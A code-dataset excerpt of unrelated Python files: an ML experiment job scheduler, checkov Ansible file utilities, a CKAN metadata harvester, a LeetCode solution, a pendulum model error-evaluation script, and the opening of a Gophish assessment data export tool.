MNLI-bin', int(123873*step_factor), 3, int(7432*warmup_factor), 1e-05*lr_factor, 'accuracy', True))\n#args3[key].append(('32 QNLI-bin', int(33112*step_factor), 2, int(1986*warmup_factor), 1e-05*lr_factor, 'accuracy', True))\n#args3[key].append(('32 QQP-bin', int(113272*step_factor), 2, int(28318*warmup_factor), 1e-05*lr_factor, 'accuracy', True))\n#args3[key].append(('16 RTE-bin', int(2036*step_factor), 2, int(122*warmup_factor), 2e-05*lr_factor, 'accuracy', True))\n#args3[key].append(('32 SST-2-bin', int(20935*step_factor), 2, int(1256*warmup_factor), 1e-05*lr_factor, 'accuracy', True))\n#args3[key].append(('16 MRPC-bin', int(2296*step_factor), 2, int(137*warmup_factor), 1e-05*lr_factor, 'accuracy', True))\n#args3[key].append(('16 CoLA-bin', int(5336*step_factor), 2, int(320*warmup_factor), 1e-05*lr_factor, 'accuracy', True))\nargs3[key].append(('16 STS-B-bin --regression-target', int(3598*step_factor), 1, int(214*warmup_factor), 2e-05*lr_factor, 'loss', False))\n#args3[('fused', 'adam-bits', 'memory-efficient-fp16', 'adam8bits-method')] = [(True, 32, False, 'quantile'), (False, 32, True, 'quantile'), (False, 8, True, 'quantile'), (False, 8, True, 'dynamic_tree')]\n#args3[('fused', 'adam-bits', 'memory-efficient-fp16', 'adam8bits-method')] = [(True, 32, False, 'quantile'), (True, 32, True, 'quantile')]\n#args3[('fused', 'adam-bits', 'memory-efficient-fp16', 'adam8bits-method')] = [(False, 8, True, 'quantile')]\n#args3[('fused', 'adam-bits', 'memory-efficient-fp16', 'adam8bits-method')] = [(False, 8, True, 'dynamic_tree')]\n#args3['adam8bits-offset'] = [1/512]\n#args3['prob-quant'] = [True]\n#args3['adam-betas'] = [\"'(0.9, 0.995)'\", \"'(0.9, 0.99)'\", \"'(0.9, 0.98)'\"]\n#args3['adam8bits-qfreq'] = [1]\n#args3['adam8bits-method'] = ['quantile', 'dynamic_tree']\n#args3['percentile-clipping'] = [100]\n#args3['dist-scale'] = [1.0]\n#args3['use-emb-norm'] = [True]\n#args3[('memory-efficient-fp16', 'adam-bits')] = [(True, 8)]\n#args3['clip-norm'] = [0.4, 0.8]\n#args3['optim-bits'] = [8]\n#args3['use-blockwise'] = [True]\n#args3['stable-emb'] = [True]\n#args3['no-scale-embedding'] = [True]\n\nargs4 = []\n\nargs5 = {}\n\nargs6 = {}\n\nrdm = np.random.RandomState(5345)\n\nfor key, value in args2.items():\n cmd = cmd + ' --{0} {1}'.format(key, value)\n\nargs_prod = []\nfor key, values in args3.items():\n if isinstance(key, tuple):\n keyvalues = []\n for tups in values:\n arg = ''\n for i, v in enumerate(tups):\n if v is True: v = ''\n if v is False: continue\n if len(key[i]) == 0:\n arg += '{0} '.format(v)\n else:\n arg += '--{0} {1} '.format(key[i], v)\n keyvalues.append(arg)\n elif isinstance(key, str):\n keyvalues = []\n for v in values:\n if v is True: v = ''\n if v is False:\n keyvalues.append('')\n else:\n keyvalues.append(' --{0} {1}'.format(key, v))\n args_prod.append(keyvalues)\n\nif len(args_prod) >= 2:\n args_prod = list(product(*args_prod))\nelse:\n new_args = []\n if len(args_prod) > 0:\n for arg in args_prod[0]:\n new_args.append([arg])\n args_prod = new_args\n\njobs = []\nif len(args4) == 0: args4.append('')\nfor seed in range(num_seeds):\n seed = seed + seed_offset\n for arg4 in args4:\n if len(args_prod) == 0: args_prod.append(('', ''))\n for i, values in enumerate(args_prod):\n job_cmd = cmd + arg4\n for val in values:\n job_cmd += ' {0}' .format(val)\n #job_cmd += ' --checkpoint /checkpoint/timdettmers/{1}/{0}/model.pt'.format(hashlib.md5(str(job_cmd).encode('utf-8')).hexdigest(), ckp_name)\n if not fp16: job_cmd = job_cmd.replace('--fp16 ', ' ')\n if any([k in job_cmd for k in args5.keys()]):\n for substr, pdict in args5.items():\n if substr in job_cmd:\n for key, values in pdict.items():\n for v in values:\n job_cmd5 = job_cmd + ' --{0} {1}'.format(key, v)\n job_cmd5 = job_cmd5 + ' --seed {0}'.format(seed)\n checkpoint_dir = '/checkpoint/timdettmers/{1}/{0} '.format(hashlib.md5(str(job_cmd5).encode('utf-8')).hexdigest(), ckp_name)\n save_dir = ' --save-dir {0}'.format(checkpoint_dir)\n job_cmd5 = job_cmd5 + save_dir\n cmds = [job_cmd5]\n if rdm.rand(1) <= args.p:\n jobs.append(job_cmd5)\n s.add_job(logfolder, repo, change_dir, cmds, time_hours, fp16, cores=cores_per_job, mem=mem, constraint=constraint, exclude=exclude, time_minutes=time_minutes, gpus=gpus)\n else:\n job_cmd = job_cmd + ' --seed {0}'.format(seed)\n checkpoint_dir = '/checkpoint/timdettmers/{1}/{0} '.format(hashlib.md5(str(job_cmd).encode('utf-8')).hexdigest(), ckp_name)\n save_dir = ' --save-dir {0}'.format(checkpoint_dir)\n job_cmd = job_cmd + save_dir\n cmds = [job_cmd]\n if rdm.rand(1) <= args.p:\n jobs.append(job_cmd)\n s.add_job(logfolder, repo, change_dir, cmds, time_hours, fp16, cores=cores_per_job, mem=mem, constraint=constraint, exclude=exclude, time_minutes=time_minutes, gpus=gpus)\n\nif args.dry:\n for i, job in enumerate(jobs):\n print(i, job)\n print('')\n print('Total jobs', len(jobs))\n print('Time hours: {0}'.format(time_hours))\n print('GPUs: {0}'.format(gpus))\n print('Jobs will be written to: {0}'.format(join('/private/home/timdettmers/logs/', logfolder)))\n print('Jobs will be run on: {0}'.format(partition))\n print('Run in folder: {0}'.format(change_dir))\n\nif not args.dry:\n s.run_jobs()\n\n","repo_name":"TimDettmers/sched","sub_path":"scripts/adam/glue.py","file_name":"glue.py","file_ext":"py","file_size_in_byte":8364,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"10925654762","text":"from __future__ import annotations\n\nimport re\nfrom pathlib import Path\nfrom typing import Any\n\nfrom checkov.common.parsers.yaml.parser import parse\n\nTASK_NAME_PATTERN = re.compile(r\"^\\s*-\\s+name:\\s+\", re.MULTILINE)\n\n# https://docs.ansible.com/ansible/latest/reference_appendices/playbooks_keywords.html#task\nTASK_RESERVED_KEYWORDS = {\n \"action\",\n \"any_errors_fatal\",\n \"args\",\n \"async\",\n \"become\",\n \"become_exe\",\n \"become_flags\",\n \"become_method\",\n \"become_user\",\n \"changed_when\",\n \"check_mode\",\n \"collections\",\n \"connection\",\n \"debugger\",\n \"delay\",\n \"delegate_facts\",\n \"delegate_to\",\n \"diff\",\n \"environment\",\n \"failed_when\",\n \"ignore_errors\",\n \"ignore_unreachable\",\n \"local_action\",\n \"loop\",\n \"loop_control\",\n \"module_defaults\",\n \"name\",\n \"no_log\",\n \"notify\",\n \"poll\",\n \"port\",\n \"register\",\n \"remote_user\",\n \"retries\",\n \"run_once\",\n \"tags\",\n \"throttle\",\n \"timeout\",\n \"until\",\n \"vars\",\n \"when\",\n}\n\n\ndef get_scannable_file_paths(root_folder: str | Path) -> set[Path]:\n \"\"\"Finds yaml files\"\"\"\n\n file_paths: set[Path] = set()\n\n if root_folder:\n root_path = root_folder if isinstance(root_folder, Path) else Path(root_folder)\n file_paths = {file_path for file_path in root_path.rglob(\"*.[y][am]*[l]\") if file_path.is_file()}\n\n return file_paths\n\n\ndef get_relevant_file_content(file_path: str | Path) -> str | None:\n if not str(file_path).endswith((\".yaml\", \".yml\")):\n return None\n\n content = Path(file_path).read_text()\n match_task_name = re.search(TASK_NAME_PATTERN, content)\n if match_task_name:\n # there are more files, which belong to an ansible playbook,\n # but we are currently only interested in 'tasks'\n return content\n\n return None\n\n\ndef parse_file(\n f: str | Path, file_content: str | None = None\n) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n file_content = get_relevant_file_content(file_path=f)\n if file_content:\n content = parse(filename=str(f), file_content=file_content)\n return content\n\n return None\n","repo_name":"arunnalladi/checkov","sub_path":"checkov/ansible/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13658170361","text":"\nimport json\n\nimport logging\n\nfrom ckan.plugins.core import SingletonPlugin\n\nfrom ckanext.geonetwork.harvesters.geonetwork import GeoNetworkHarvester\n\nfrom ckanext.spatial.model import ISODocument\nfrom ckanext.spatial.model import ISOElement\n\nfrom pylons import config\nimport datetime\n\nfrom dateutil.parser import parse\n\nlog = logging.getLogger(__name__)\n\n# Extend the ISODocument definitions by adding some more useful elements\n\nlog.info('GeoNetwork CSW (CMRE) harvester: extending ISODocument')\n\nISODocument.elements.append(\n ISOElement(\n name=\"legal-use-constraints\",\n search_paths=[\n \"gmd:identificationInfo/gmd:MD_DataIdentification/gmd:resourceConstraints/gmd:MD_LegalConstraints/gmd:useLimitation/gco:CharacterString/text()\",\n \"gmd:identificationInfo/srv:SV_ServiceIdentification/gmd:resourceConstraints/gmd:MD_LegalConstraints/gmd:useLimitation/gco:CharacterString/text()\"\n ],\n multiplicity=\"*\"\n )\n)\n\nISODocument.elements.append(\n ISOElement(\n name=\"ngmp-security-classification-code\",\n search_paths=[\n \"gmd:metadataConstraints/gmd:MD_SecurityConstraints/gmd:classification/gmd:MD_ClassificationCode[@codeList='http://eden.ign.fr/xsd/ngmp/20110916/resources/codelist/ngmpCodelists.xml#MD_ClassificationCode']/text()\"\n ],\n multiplicity=\"0..1\"\n )\n)\n\nISODocument.elements.append(\n ISOElement(\n name=\"ngmp-security-classification-system\",\n search_paths=[\n \"gmd:metadataConstraints/gmd:MD_SecurityConstraints[gmd:classification/gmd:MD_ClassificationCode/@codeList='http://eden.ign.fr/xsd/ngmp/20110916/resources/codelist/ngmpCodelists.xml#MD_ClassificationCode']/gmd:classificationSystem/gco:CharacterString/text()\"\n ],\n multiplicity=\"0..1\"\n )\n)\n\nISODocument.elements.append(\n ISOElement(\n name=\"vertical-extent-min\",\n search_paths=[\n \"gmd:identificationInfo/gmd:MD_DataIdentification/gmd:extent/gmd:EX_Extent/gmd:verticalElement/gmd:EX_VerticalExtent/gmd:minimumValue/gco:Real/text()\",\n \"gmd:identificationInfo/srv:SV_ServiceIdentification/srv:extent/gmd:EX_Extent/gmd:verticalElement/gmd:EX_VerticalExtent/gmd:minimumValue/gco:Real/text()\"\n ],\n multiplicity=\"*\"\n )\n)\n\nISODocument.elements.append(\n ISOElement(\n name=\"vertical-extent-max\",\n search_paths=[\n \"gmd:identificationInfo/gmd:MD_DataIdentification/gmd:extent/gmd:EX_Extent/gmd:verticalElement/gmd:EX_VerticalExtent/gmd:maximumValue/gco:Real/text()\",\n \"gmd:identificationInfo/srv:SV_ServiceIdentification/srv:extent/gmd:EX_Extent/gmd:verticalElement/gmd:EX_VerticalExtent/gmd:maximumValue/gco:Real/text()\"\n ],\n multiplicity=\"*\"\n )\n)\n\nISODocument.elements.append(\n ISOElement(\n name=\"vertical-extent-crs-title\",\n search_paths=[\n \"gmd:identificationInfo/gmd:MD_DataIdentification/gmd:extent/gmd:EX_Extent/gmd:verticalElement/gmd:EX_VerticalExtent/gmd:verticalCRS/@xlink:title\",\n \"gmd:identificationInfo/srv:SV_ServiceIdentification/srv:extent/gmd:EX_Extent/gmd:verticalElement/gmd:EX_VerticalExtent/gmd:verticalCRS/@xlink:title\"\n ],\n multiplicity=\"*\"\n )\n)\n\nISODocument.elements.append(\n ISOElement(\n name=\"keyword-inspire-theme-anchor\",\n search_paths=[\n \"gmd:identificationInfo/gmd:MD_DataIdentification/gmd:descriptiveKeywords/gmd:MD_Keywords/gmd:keyword/gmx:Anchor/text()\",\n \"gmd:identificationInfo/srv:SV_ServiceIdentification/gmd:descriptiveKeywords/gmd:MD_Keywords/gmd:keyword/gmx:Anchor/text()\"\n ],\n multiplicity=\"*\"\n )\n)\n\n\nclass CMREHarvester(GeoNetworkHarvester, SingletonPlugin):\n\n def info(self):\n return {\n 'name': 'cmre',\n 'title': 'GeoNetwork CSW server (CMRE)',\n 'description': 'Harvests CWS from CMRE GeoNetwork',\n 'form_config_interface': 'Text'\n }\n\n def get_package_dict(self, iso_values, harvest_object):\n package_dict = super(CMREHarvester, self).get_package_dict(iso_values, harvest_object) \n \n #log.info('::::::::::::::::: %r', package_dict)\n \n # LEGAL CONSTRAINTS\n if len(iso_values.get('legal-use-constraints', [])):\n package_dict['extras'].append({'key': 'use-limitation', 'value': iso_values['legal-use-constraints'][0]})\n \n date_created = iso_values.get('date-created')\n if date_created:\n package_dict['extras'].append({'key': 'date-created', 'value': date_created})\n\n # VERTICAL ELEMENT\n if len(iso_values.get('vertical-extent-min', [])) and len(iso_values.get('vertical-extent-max', [])):\n crs_title = ''\n\n if len(iso_values.get('vertical-extent-crs-title', [])):\n crs_title = iso_values['vertical-extent-crs-title'][0]\n\n vert_ext_min = iso_values['vertical-extent-min'][0]\n vert_ext_max = iso_values['vertical-extent-max'][0]\n\n if vert_ext_min == vert_ext_max:\n package_dict['extras'].append({'key': 'vertical-extent', 'value': vert_ext_min + ' ' + crs_title})\n else:\n package_dict['extras'].append({'key': 'vertical-extent', 'value': vert_ext_min + ' / ' + vert_ext_max + ' ' + crs_title})\n\n # TEMPORAL ELEMENTS\n if len(iso_values.get('temporal-extent-instant', [])):\n tempstr = iso_values['temporal-extent-instant'][0]\n date_str = self.parseDate(tempstr)\n package_dict['extras'].append({'key': 'temporal-extent-instant', 'value': date_str})\n\n for key in ['temporal-extent-begin', 'temporal-extent-end']:\n if len(iso_values[key]) > 0:\n tempstr = iso_values[key][0]\n\n for extra in package_dict['extras']:\n extra_key = extra['key']\n\n if key == extra_key:\n extra['value'] = self.parseDate(tempstr) \n \n # SECURITY CLASSIFICATION\n for name in ['ngmp-security-classification-code', 'ngmp-security-classification-system']:\n val = iso_values.get(name)\n if val:\n package_dict['extras'].append({'key': name, 'value': val})\n\n # ISO 19139 EXTENSION ELEMENTS (MyOcean)\n for tag in iso_values['keyword-inspire-theme-anchor']:\n tag = tag[:50] if len(tag) > 50 else tag\n package_dict['tags'].append({'name': tag})\n\n # End of processing, return the modified package\n return package_dict\n\n def parseDate(self, date):\n bogus_date = datetime.datetime(1, 1, 1)\n\n date_prs = parse(date, default=bogus_date)\n date_str = date_prs.isoformat()\n\n if 'Z' not in date_str:\n date_str = date_str + 'Z'\n\n return date_str\n\n def fix_resource_type(self, resources):\n super(CMREHarvester, self).fix_resource_type(resources)\n\n for resource in resources:\n if 'MYO:MOTU-SUB' in resource['resource_locator_protocol']:\n resource['format'] = 'HTTP'\n elif 'MYO:MOTU-DGF' in resource['resource_locator_protocol']:\n resource['format'] = 'HTTP'\n elif 'WWW:FTP' in resource['resource_locator_protocol']:\n resource['format'] = 'FTP'\n else:\n url = resource.get('url').lower().strip()\n\n file_types = self.source_config.get('file_types', {})\n if file_types is None:\n file_types = {\n 'NetCDF': ['nc', 'ncml'],\n 'log': ['log'],\n 'matlab': ['dat'],\n 'cnv': ['cnv'],\n 'out': ['out'],\n 'asc': ['asc'],\n }\n\n for file_type, extensions in file_types.iteritems():\n if any(url.endswith(extension) for extension in extensions):\n resource['format'] = file_type","repo_name":"geosolutions-it/ckanext-cmre","sub_path":"ckanext/cmre/harvesters/cmre.py","file_name":"cmre.py","file_ext":"py","file_size_in_byte":8039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31860165650","text":"class Solution:\n def eraseOverlapIntervals(self, intervals: List[List[int]]) -> int:\n intervals.sort(key=lambda x:x[1])\n\n n=len(intervals)\n prev=intervals[0][1]\n ans=0\n for i in range(1,n):\n if intervals[i][0]>=prev:\n prev=intervals[i][1]\n else:\n ans+=1\n return ans\n","repo_name":"Pratul-1443/Leetcode_Solutions","sub_path":"0435-non-overlapping-intervals/0435-non-overlapping-intervals.py","file_name":"0435-non-overlapping-intervals.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70599586801","text":"#!/usr/bin/env python\nfrom numpy import exp, sin, cos, log, pi, sign\nimport matplotlib.pyplot as plt\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import signal\nfrom scipy.integrate import solve_ivp\nfrom scipy.io import loadmat\nfrom scipy.spatial import ConvexHull\nimport csv\n# %% functions\n\ndef point_in_hull(point, hull, tolerance=1e-12):\n\treturn all(\n\t\t(np.dot(eq[:-1], point) + eq[-1] <= tolerance)\n\t\tfor eq in hull.equations)\n\ndef RBF(x, c, epsilon, kinds=\"gauss\"):\n\t# print('x:' + str(x))\n\t# print('c:' + str(c))\n\tr = np.linalg.norm(x - c)\n\t# print('r:' + str(r))\n\tif kinds == \"gauss\":\n\t\treturn exp(-(epsilon*r)**2)\n\telif kinds == \"quad\":\n\t\treturn 1/(1+(epsilon*r)**2)\n\telse:\n\t\tpass\n\ndef diffeq(t, y):\n\t# k = 200; %stiffness of the wall\n\t# c = 1; %linear damping coefficient\n\t# dx1 = x(2);\n\t# Fk = 0;\n\t# if abs(x(1)) > pi/4\n\t# Fk = -sign(x(1))*k*(abs(x(1)) - pi/4)^2;\n\t# end\n\t# dx2 = -sin(x(1)) + Fk - sign(x(2))*c*x(2)^2; %g/l is set to 1\n\n\t# dxdt = [dx1; dx2];\n\tk = 200\n\tc = 1\n\tFk = 0\n\tif np.abs(y[0]) > pi/4:\n\t\tFk = -sign(y[0]) * k * (np.abs(y[0]) - pi/4)**2\n\n\tdx1 = y[1]\n\tdx2 = -sin(y[0]) + Fk - sign(y[1])*c*y[1]**2\n\treturn [dx1, dx2]\n\ndef ldm(x, A):\n\txt1 = A.dot(x)\n\treturn xt1\n\t\nif __name__== \"__main__\":\n\tN_states = 2\n\tn_c = 5\n\tgrid_res = 51\n\tplotting = True\n\tdatasizes = [5000]#[10000,25000]#[500,800,1000,1500,2500,5000,10000,25000]\n\ttsseb = []\n\tssevarb = []\n\ttsseq = []\n\tssevarq = []\n\tfde = open('dde.csv', 'a')\n\tfbe = open('base.csv', 'a')\n\tfdev = open('dde_var.csv', 'a')\n\tfbev = open('base_var.csv', 'a')\n\n\twriter_dde = csv.writer(fde, delimiter =',')\n\twriter_b = csv.writer(fbe, delimiter =',')\n\twriter_ddev = csv.writer(fdev, delimiter =',')\n\twriter_bv = csv.writer(fbev, delimiter =',')\n\n\tfor dsize in datasizes:\n\n\t\tprint(\"Calculating for: \" , dsize)\n\t\td_t = pd.read_csv('./data/agg_t_'+str(dsize)+ '.csv', header=None)\n\t\td_t1 = pd.read_csv('./data/agg_t1_'+str(dsize)+ '.csv', header=None)\n\t\tdata_t = d_t.values\n\t\tdata_t1 = d_t1.values\n\t\tdata = {'x': {\n\t\t\t'minus': data_t,\n\t\t\t'plus': data_t1\n\t\t}}\n\t\tx_minus = data['x' ]['minus']\n\t\tx_plus = data['x' ]['plus' ]\n\t\tpoints = x_minus\n\t\thull = ConvexHull(x_minus)\n\t\trbf_min = np.ndarray.min(x_minus,0)\n\t\trbf_max = np.ndarray.max(x_minus,0)\n\t\trbf_c1 = np.linspace(rbf_min[0], rbf_max[0], n_c, dtype=\"float64\")\n\t\trbf_c2 = np.linspace(rbf_min[1], rbf_max[1], n_c,dtype=\"float64\")\n\t\tzeros_vec = np.zeros(rbf_c1.shape)\n\t\trbf_c = np.array(np.meshgrid(rbf_c1, rbf_c2)).T.reshape(-1, N_states)\n\n\t\trbf_dilation = np.ones(rbf_c.shape,dtype=\"float64\")\n\n\n\t\tqr = pd.read_csv('./models/qr' + str(n_c) + '_' + str(dsize) + '.csv',header = None)\n\t\tA_qr = np.array(qr.values)\n\n\t\tbase = pd.read_csv('./models/base' + str(n_c) + '_' + str(dsize) + '.csv',header = None)\n\t\tA_base = np.array(base.values)\n\n\t\tnum_traj = 100\n\t\tn_timesteps = 200\n\t\tdt = 0.1\n\t\ttspan = [0.0, 0.1]\n\t\tx_max = rbf_max[0]\n\t\tx_min = -x_max\n\t\tvel_max = rbf_max[1]\n\t\tvel_min = -vel_max\n\n\t\txspace = np.linspace(x_min, x_max, grid_res, dtype = \"float64\")\n\t\tvelspace = np.linspace(vel_min, vel_max, grid_res, dtype = \"float64\")\n\t\txgrid, vgrid = np.meshgrid(xspace, velspace, indexing= 'ij')\n\t\terrorgrid_b = np.zeros([grid_res,grid_res])\n\t\terrorgrid_qr = np.zeros([grid_res,grid_res])\n\t\terrorgrid_b_s = np.zeros([grid_res,grid_res])\n\t\terrorgrid_qr_s = np.zeros([grid_res,grid_res])\n\t\t# print(xgrid.shape)\n\t\tfor i in range(0,grid_res):\n\t\t\tfor k in range(0, grid_res):\n\t\t\t\tx_init = np.array([xgrid[i,k], vgrid[i,k]])\n\n\t\t\t\tbase_t_e = []\n\t\t\t\tqr_t_e = []\n\t\t\t\tg_base = []\n\t\t\t\tg_qr = []\n\t\t\t\tfor j in range(0, len(rbf_c)):\n\t\t\t\t\tg_base.append(RBF(x_init, rbf_c[j,:], rbf_dilation[j,0]))\n\t\t\t\t\tg_qr.append(RBF(x_init, rbf_c[j,:], rbf_dilation[j,0]))\n\t\t\t\tx_base = np.append(x_init, g_base)\n\t\t\t\tx_qr = np.append(x_init, g_qr)\n\n\t\t\t\tsol = solve_ivp(diffeq, tspan, x_init)\n\t\t\t\tx_end = np.array(sol.y[:,len(sol.y[1]) - 1])\n\n\t\t\t\tx_base = ldm(x_base, A_base)\n\t\t\t\tbase_e = np.linalg.norm(x_base[0:N_states] - x_end[0:N_states])\n\t\t\t\tbase_t_e.append(base_e)\n\t\t\t\tg_base = []\n\t\t\t\tx_base = x_base[0:N_states]\n\t\t\t\tfor j in range(0, len(rbf_c)):\n\t\t\t\t\tg_base.append(RBF(x_base, rbf_c[j,:], rbf_dilation[j,0]))\n\t\t\t\tx_base = np.append(x_base, g_base)\n\n\t\t\t\tx_qr = ldm(x_qr, A_qr)\n\t\t\t\tqr_e = np.linalg.norm(x_qr[0:N_states] - x_end[0:N_states])\n\t\t\t\tqr_t_e.append(qr_e)\n\t\t\t\tg_qr = []\n\t\t\t\tx_qr = x_qr[0:N_states]\n\t\t\t\tfor j in range(0, len(rbf_c)):\n\t\t\t\t\tg_qr.append(RBF(x_qr, rbf_c[j,:], rbf_dilation[j,0]))\n\t\t\t\tx_qr = np.append(x_qr, g_qr)\n\n\t\t\t\t# print(base_e)\n\t\t\t\terrorgrid_b[i,k] = base_e\n\t\t\t\terrorgrid_qr[i,k] = qr_e\n\t\t\t\tif point_in_hull(x_init, hull):\n\t\t\t\t\terrorgrid_b_s[i,k] = base_e\n\t\t\t\t\terrorgrid_qr_s[i,k] = qr_e\n\n\t\tcs_b = np.sum(np.sum(errorgrid_b_s))\n\t\tcs_qr = np.sum(np.sum(errorgrid_qr_s))\n\t\t# print(\"EDMD Error: \", cs_b)\n\t\t# print(\"DDE Error: \", cs_qr)\n\n\n\t\t# print(\"EDMD Max Error: \", errorgrid_b_s.max())\n\t\t# print(\"DDE Max Error: \", errorgrid_qr_s.max())\n\t\t# print(\"EDMD Std: \", np.std(errorgrid_b_s))\n\t\t# print(\"DDE Std: \", np.std(errorgrid_qr_s))\n\n\t\ttsseb.append(cs_b)\n\t\ttsseq.append(cs_qr)\n\t\tssevarb.append(np.std(errorgrid_b_s))\n\t\tssevarq.append(np.std(errorgrid_qr_s))\n\t\tnp.savetxt('b_sse2.csv',errorgrid_b_s,delimiter=\",\")\n\t\tnp.savetxt('qr_sse2.csv',errorgrid_qr_s,delimiter=\",\")\n\t\tnp.savetxt('xval.csv',xgrid,delimiter=\",\")\n\t\tnp.savetxt('vval.csv',vgrid,delimiter=\",\")\n\t\tif plotting:\n\t\t\t# Heat Maps:\n\n\t\t\tfig, ax = plt.subplots()\n\t\t\teb_min, eb_max = -np.abs(errorgrid_b).max(), np.abs(errorgrid_b).max()\n\t\t\tc = ax.pcolormesh(xgrid, vgrid, errorgrid_b, vmin= 0, vmax = 0.05)\n\t\t\tfig.colorbar(c, ax=ax, label='Squared Error')\n\t\t\tfor simplex in hull.simplices:\n\t\t\t\tax.plot(points[simplex, 0], points[simplex, 1], 'c')\n\t\t\tax.set(xlabel='Angle',ylabel='Angular Velocity')\n\t\t\tplt.title(\"Squared Error - EDMD\")\n\t\t\tplt.show()\n\n\t\t\tfig, ax = plt.subplots()\n\t\t\teqr_min, eqr_max = -np.abs(errorgrid_qr).max(), np.abs(errorgrid_qr).max()\n\t\t\tc = ax.pcolormesh(xgrid, vgrid, errorgrid_qr, vmin= 0, vmax = 0.05)\n\t\t\tfig.colorbar(c, ax=ax, label='Squared Error')\n\t\t\tfor simplex in hull.simplices:\n\t\t\t\tax.plot(points[simplex, 0], points[simplex, 1], 'c')\n\t\t\tax.set(xlabel='Angle',ylabel='Angular Velocity')\n\t\t\tplt.title(\"Squared Error - DDE\")\n\t\t\tplt.show()\n\n\t\t\t#3D with contour projections\n\n\t\t\t# ax = plt.figure().add_subplot(projection='3d')\n\t\t\t# ax.plot_surface(xgrid,vgrid, errorgrid_b, edgecolor='royalblue')\n\t\t\t# ax.contour(xgrid, vgrid, errorgrid_b, zdir='x', offset = 1, cmap='coolwarm')\n\t\t\t# ax.contour(xgrid, vgrid, errorgrid_b, zdir='y', offset = -2.2, cmap='coolwarm')\n\t\t\t# plt.title(\"Squared Error - EDMD\")\n\t\t\t# ax.set(xlabel='Angle',ylabel='Angular Velocity', zlabel='Squared Error')\n\t\t\t# plt.show()\n\n\t\t\t# ax = plt.figure().add_subplot(projection='3d')\n\t\t\t# ax.plot_surface(xgrid,vgrid, errorgrid_qr, edgecolor='royalblue')\n\t\t\t# ax.contour(xgrid, vgrid, errorgrid_qr, zdir='x', offset = 1, cmap='coolwarm')\n\t\t\t# ax.contour(xgrid, vgrid, errorgrid_qr, zdir='y', offset = -2.2, cmap='coolwarm')\n\t\t\t# plt.title(\"Squared Error - DDE\")\n\n\t\t\t# ax.set(xlabel='Angle',ylabel='Angular Velocity', zlabel='Squared Error')\n\t\t\t# plt.show()\n\n\t\t\t# # ax = plt.figure().add_subplot(projection='3d')\n\t\t\t# # ax.plot_surface(xgrid,vgrid, errorgrid_qr, edgecolor='green')\n\t\t\t# # ax.plot_surface(xgrid,vgrid, errorgrid_b, edgecolor='royalblue')\n\t\t\t# # ax.set(xlabel='Angle',ylabel='Angular Velocity', zlabel='Squared Error')\n\t\t\t# # plt.show()\n\n\t\t\t# #2D cross sections\n\t\t\t# #Theta = 0\n\t\t\t# # print(xgrid[25,0])\n\t\t\t# fig, ax = plt.subplots()\n\t\t\t# bep, = ax.plot(vgrid[25,:], errorgrid_b[25,:])\n\t\t\t# qrp, = ax.plot(vgrid[25,:], errorgrid_qr[25,:])\n\t\t\t# bep.set_label('EDMD')\n\t\t\t# qrp.set_label('DDE')\n\t\t\t# ax.set(xlabel='Angular Velocity', ylabel='Squared Error')\n\t\t\t# ax.legend()\n\t\t\t# plt.show()\n\n\t\t\t# #Thetadot = 0\n\t\t\t# # print(vgrid[0,25])\n\t\t\t# fig, ax = plt.subplots()\n\t\t\t# bep, = ax.plot(xgrid[:,25], errorgrid_b[:,25])\n\t\t\t# qrp, = ax.plot(xgrid[:,25], errorgrid_qr[:,25])\n\t\t\t# bep.set_label('EDMD')\n\t\t\t# qrp.set_label('DDE')\n\t\t\t# ax.set(xlabel='Angular Velocity', ylabel='Squared Error')\n\t\t\t# ax.legend()\n\t\t\t# plt.show()\n\t# writer_b.writerow(tsseb)\n\t# writer_dde.writerow(tsseq)\n\t# writer_bv.writerow(ssevarb)\n\t# writer_ddev.writerow(ssevarq)\n","repo_name":"jerrying123/DDE","sub_path":"pendulum/gaussian/gen_error_space.py","file_name":"gen_error_space.py","file_ext":"py","file_size_in_byte":8161,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"75"} +{"seq_id":"73397604723","text":"\"\"\"Export all the data from an assessment within Gophish into a single JSON file.\n\nUsage:\n gophish-export [--log-level=LEVEL] ASSESSMENT_ID SERVER API_KEY\n gophish-export (-h | --help)\n gophish-export --version\n\nOptions:\n API_KEY Gophish API key.\n ASSESSMENT_ID ID of the assessment to export data from.\n SERVER Full URL to Gophish server.\n -h --help Show this screen.\n --version Show version.\n -l --log-level=LEVEL If specified, then the log level will be set to\n the specified value. Valid values are \"debug\", \"info\",\n \"warning\", \"error\", and \"critical\". [default: info]\n\"\"\"\n\n# Standard Python Libraries\nfrom datetime import datetime\nimport hashlib\nimport json\nimport logging\nimport re\nimport sys\nfrom typing import Dict\n\n# Third-Party Libraries\nfrom docopt import docopt\n\n# No type stubs exist for httpagentparser, so we add \"type: ignore\" to tell\n# mypy to ignore this library\nimport httpagentparser # type: ignore\nimport urllib3\n\n# cisagov Libraries\nfrom tools.connect import connect_api\nfrom util.validate import validate_assessment_id\n\nfrom ._version import __version__\n\n# Disable \"Insecure Request\" warning: Gophish uses a self-signed certificate\n# as default for https connections, which can not be verified by a third\n# party; thus, an SSL insecure request warning is produced.\nurllib3.disable_warnings()\n\n\ndef assessment_exists(api, assessment_id):\n \"\"\"Check if Gophish has at least one campaign for designated assessment.\n\n Args:\n api (Gophish API): Connection to Gophish server via the API.\n assessment_id (string): Assessment identifier to get campaigns from.\n\n Returns:\n boolean: Indicates if a campaign is found starting with assessment_id.\n \"\"\"\n allCampaigns = api.campaigns.get()\n for campaign in allCampaigns:\n if campaign.name.startswith(assessment_id):\n return True\n\n return False\n\n\ndef export_targets(api, assessment_id):\n \"\"\"Add all targets to a list.\n\n Achieved by pulling the group IDs for any group starting with\n the assessment id. The targets within the group are then parsed\n into a targets list of target dicts. Each target dict includes a\n sha256 hash of the target's email and assessment id with any labels.\n\n Args:\n api (Gophish API): Connection to Gophish server via the API.\n assessment_id (string): Assessment identifier to get campaigns 